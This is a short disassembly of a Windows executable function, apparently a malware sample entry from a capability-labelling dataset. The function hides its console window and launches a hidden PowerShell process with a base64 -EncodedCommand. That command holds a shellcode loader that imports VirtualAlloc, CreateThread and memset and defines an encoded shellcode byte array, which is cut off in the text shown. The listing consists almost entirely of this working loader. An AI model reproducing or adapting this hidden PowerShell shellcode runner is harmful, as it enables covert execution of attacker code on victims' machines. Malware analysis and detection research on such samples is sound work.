Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JAA2AGEAaAAgAD0AIAAnACQAQwAyAFcAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAQwAyAFcAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAOAAsADAAeABiADgALAAwAHgANgAzACwAMAB4ADcANAAsADAAeAAyADEALAAwAHgAZgBlACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeABjADMALAAwAHgAMAA0ACwAMAB4ADAAMwAsADAAeAAyADAALAAwAHgANgA3ACwAMAB4AGMAMwAsADAAeAAwAGIALAAwAHgANQBhACwAMAB4ADYAZgAsADAAeAA4AGMALAAwAHgAZgA0ACwAMAB4AGEAMgAsADAAeAA3ADAALAAwAHgAZgAzACwAMAB4ADcAZAAsADAAeAA0ADcALAAwAHgANAAxACwAMAB4ADIAMQAsADAAeAAxADkALAAwAHgAMABjACwAMAB4AGYAMAAsADAAeABmADUALAAwAHgANgA5ACwAMAB4ADQAMAAsADAAeABmADkALAAwAHgANwBlACwAMAB4ADMAZgAsADAAeAA3ADAALAAwAHgAOABhACwAMAB4AGYAMwAsADAAeABlADgALAAwAHgANwA3ACwAMAB4ADMAYgAsADAAeABiADkALAAwAHgAYwBlACwAMAB4AGIANgAsADAAeABiAGMALAAwAHgAMABmACwAMAB4AGMAZgAsADAAeAAxADQALAAwAHgANwBlACwAMAB4ADEAMQAsADAAeABiADMALAAwAHgANgA2ACwAMAB4ADUAMwAsADAAeABmADEALAAwAHgAOABhACwAMAB4AGEAOQAsADAAeABhADYALAAwAHgAZgAwACwAMAB4AGMAYgAsADAAeAA3AGMALAAwAHgAYwBjACwAMAB4ADEAZAAsADAAeAA4ADEALAAwAHgAMgA5ACwAMAB4AGEANQAsADAAeABiADAALAAwAHgAMwA2ACwAMAB4ADUAZQAsADAAeABmAGIALAAwAHgAMAA4ACwAMAB4ADMANgAsADAAeABiADAALAAwAHgANwA3ACwAMAB4ADMAMAAsADAAeAA0ADAALAAwAHgAYgA1ACwAMAB4ADQAOAAsADAAeABjADUALAAwAHgAZgBjACwAMAB4AGIANAAsADAAeAA5ADgALAAwAHgANwA2ACwAMAB4ADcANgAsADAAeABlAGUALAAwAHgAMwA4ACwAMAB4AGYAYwAsADAAeABjADAALAAwAHgAMQA2ACwAMAB4ADMAOAAsADAAeABkADEALAAwAHgANQA0ACwAMAB4AGUAZgAsADAAeAA0AGUALAAwAHgAZQA5ACwAMAB4ADYANwAsADAAeAAxADAALAAwAHgAZQA3ACwAMAB4ADkAYQAsADAAeABiAGMALAAwAHgANgA1ACwAMAB4AGYAOQAsADAAeAA0AGEALAAwAHgAOABkACwAMAB4AGIAOQAsADAAeAA1ADYALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeAAzADQALAAwAHgAYQA2ACwAMAB4AGYAMwAsADAAeAA4ADYALAAwAHgAYQA2ACwAMAB4AGQAZAAsADAAeAAwAGYALAAwAHgAZgA1ACwAMAB4ADUAYgAsADAAeABlADYALAAwAHgAYwBiACwAMAB4ADgANwAsADAAeAA4ADcALAAwAHgANgAzACwAMAB4AGMAYwAsADAAeAAyADAALAAwAHgANABjACwAMAB4AGQAMwAsADAAeAAyADgALAAwAHgAZAAwACwAMAB4ADgAMQAsADAAeAA4ADIALAAwAHgAYgBiACwAMAB4AGQAZQAsADAAeAA2AGUALAAwAHgAYwAwACwAMAB4AGUANAAsADAAeABjADIALAAwAHgANwAxACwAMAB4ADAANQAsADAAeAA5AGYALAAwAHgAZgBmACwAMAB4AGYAYQAsADAAeABhADgALAAwAHgANwAwACwAMAB4ADcANgAsADAAeABiADgALAAwAHgAOABlACwAMAB4ADUANAAsADAAeABkADIALAAwAHgAMQBiACwAMAB4AGEAZQAsADAAeABjAGQALAAwAHgAYgBlACwAMAB4AGMAYQAsADAAeABjAGYALAAwAHgAMABlACwAMAB4ADYANgAsADAAeABiADMALAAwAHgANwA1ACwAMAB4ADQANAAsADAAeAA4ADUALAAwAHgAYQAyACwAMAB4ADAAYQAsADAAeABhADUALAAwAHgANQA1ACwAMAB4AGMAYgAsADAAeAA1ADYALAAwAHgAMwAyACwAMAB4ADkAOQAsADAAeAAwADEALAAwAHgANgA5ACwAMAB4AGMAMgAsADAAeABiADUALAAwAHgAMQAyACwAMAB4ADEAYQAsADAAeABmADAALAAwAHgAMQBhACwAMAB4ADgAOAAsADAAeABiADQALAAwAHgAYgA4ACwAMAB4AGQAMwAsADAAeAAxADYALAAwAH
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop